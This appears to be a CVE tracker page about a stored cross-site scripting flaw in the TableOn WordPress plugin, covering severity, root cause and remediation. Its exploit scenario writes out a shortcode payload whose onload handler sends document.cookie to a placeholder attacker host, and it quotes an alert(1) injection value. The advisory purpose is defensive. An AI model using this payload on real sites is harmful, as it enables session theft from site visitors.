Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 3.1 score of 6.4 reflects a medium-to-high severity rating driven by network attack vector (AV:N), low attack complexity (AC:L), and low privilege requirements (PR:L), but limited scope change (S:C) and low confidentiality/integrity impact (C:L, I:L). However, the real-world risk is context-dependent and varies by deployment: the vulnerability requires authentication (Contributor role or higher), which substantially reduces exposure compared to unauthenticated XSS. The requirement for PR:L (low privilege, meaning the attacker must have a valid user account) creates an inherent gate; many WordPress sites restrict Contributor access to trusted users, further limiting attack surface. Conversely, sites allowing open user registration or with permissive role delegation face higher risk. The stored XSS nature means the payload persists and re-executes on every page view by any user, potentially enabling credential theft, malware injection, or defacement at scale. Exploitation probability is moderate: the attack requires a valid WordPress account and knowledge of shortcode syntax, but no sophisticated technical barriers exist. The absence of KEV status, public POC, or reports of active exploitation suggests this remains a low-priority threat in the wild, but organizations running the TableOn plugin with exposed Contributor-level accounts should prioritize patching. |
| Exploit ScenarioDerived | An attacker with a Contributor-level WordPress user account edits or creates a page containing the vulnerable shortcode: [tableon_button class="x" onload="fetch('https://attacker.com/steal?cookie=' + document.cookie)"] help_title="Malicious Help". When any site visitor (including administrators) views the page, the unescaped onload event handler executes in their browser context, exfiltrating session cookies or other sensitive data. The stored nature means the payload remains active indefinitely until the page is edited or the plugin is updated, allowing continuous exploitation across all site visitors without requiring the attacker to remain online or repeat the attack. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 08, 2026
Stored Cross-Site Scripting in TableOn - WordPress Posts Table Filterable plugin versions up to 1.0.4.4 allows authenticated attackers with Contributor-level access or above to inject arbitrary JavaScript via unescaped shortcode attributes ('class', 'help_link', 'popup_title', 'help_title') in the 'tableon_button' shortcode. The vulnerability results from the do_shortcode_button() function extracting attributes without sanitization and the TABLEON_HELPER::draw_html_item() function concatenating these values directly into HTML output without escaping, enabling malicious scripts to execute in the browsers of users viewing affected pages. No public exploit code or active exploitation has been reported at this time.
RemediationAI
Update the TableOn - WordPress Posts Table Filterable plugin to a patched version released after 1.0.4.4; WordPress plugin repository changelogs and Wordfence advisories should be consulted for the exact fixed version number once released. Interim mitigation steps for sites unable to patch immediately include: restrict Contributor-level and above user access to trusted administrators only, audit existing user accounts and remove unnecessary access, and consider using a WordPress security plugin to monitor for stored XSS payloads in post content. The upstream fix will require sanitizing shortcode attributes using WordPress security functions (e.g., sanitize_text_field(), sanitize_html_class()) and properly escaping output via esc_attr() before insertion into HTML attributes. See Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/33490873-da99-465e-bfb6-44d2ba84f3ee?source=cve) for patch release notifications.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from inadequate input validation and output encoding in a WordPress plugin shortcode handler. WordPress shortcodes are template tags that allow users to dynamically insert content, and the 'tableon_button' shortcode accepts multiple user-supplied attributes. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) occurs in two locations: the do_shortcode_button() function (index.php, lines 489-495) extracts shortcode attributes directly from user input without sanitization, and the TABLEON_HELPER::draw_html_item() function (helper.php, line 29) concatenates these unsanitized values into HTML attributes using single-quoted syntax without entity encoding. An attacker-controlled value such as class="onload='alert(1) can break out of the attribute context and inject event handlers or arbitrary HTML elements. The CPE cpe:2.3:a:realmag777:tableon_-_wordpress_posts_table_filterable identifies the affected plugin by the developer 'realmag777' across all versions up to 1.0.4.4.
Know when Tableon Wordpress Posts Table Filterable gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from Vendor (Wordfence) · only source for this CVE.
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The TableOn - WordPress Posts Table Filterable plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tableon_button' shortcode in all versions up to and including 1.0.4.4. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes such as 'class', 'help_link', 'popup_title', and 'help_title'. The do_shortcode_button() function extracts these attributes without sanitization and passes them to TABLEON_HELPER::draw_html_item(), which concatenates attribute values into HTML using single quotes without escaping (line 29: $item .= " {$key}='{$value}'"). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Blind SQL injection in the TableOn - WordPress Posts Table Filterable plugin (versions ≤ 1.0.5.1) exposes WordPress user
The TableOn - WordPress Posts Table Filterable plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the
EUVD-2026-20040
GHSA-hwr5-vgw5-5q99
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB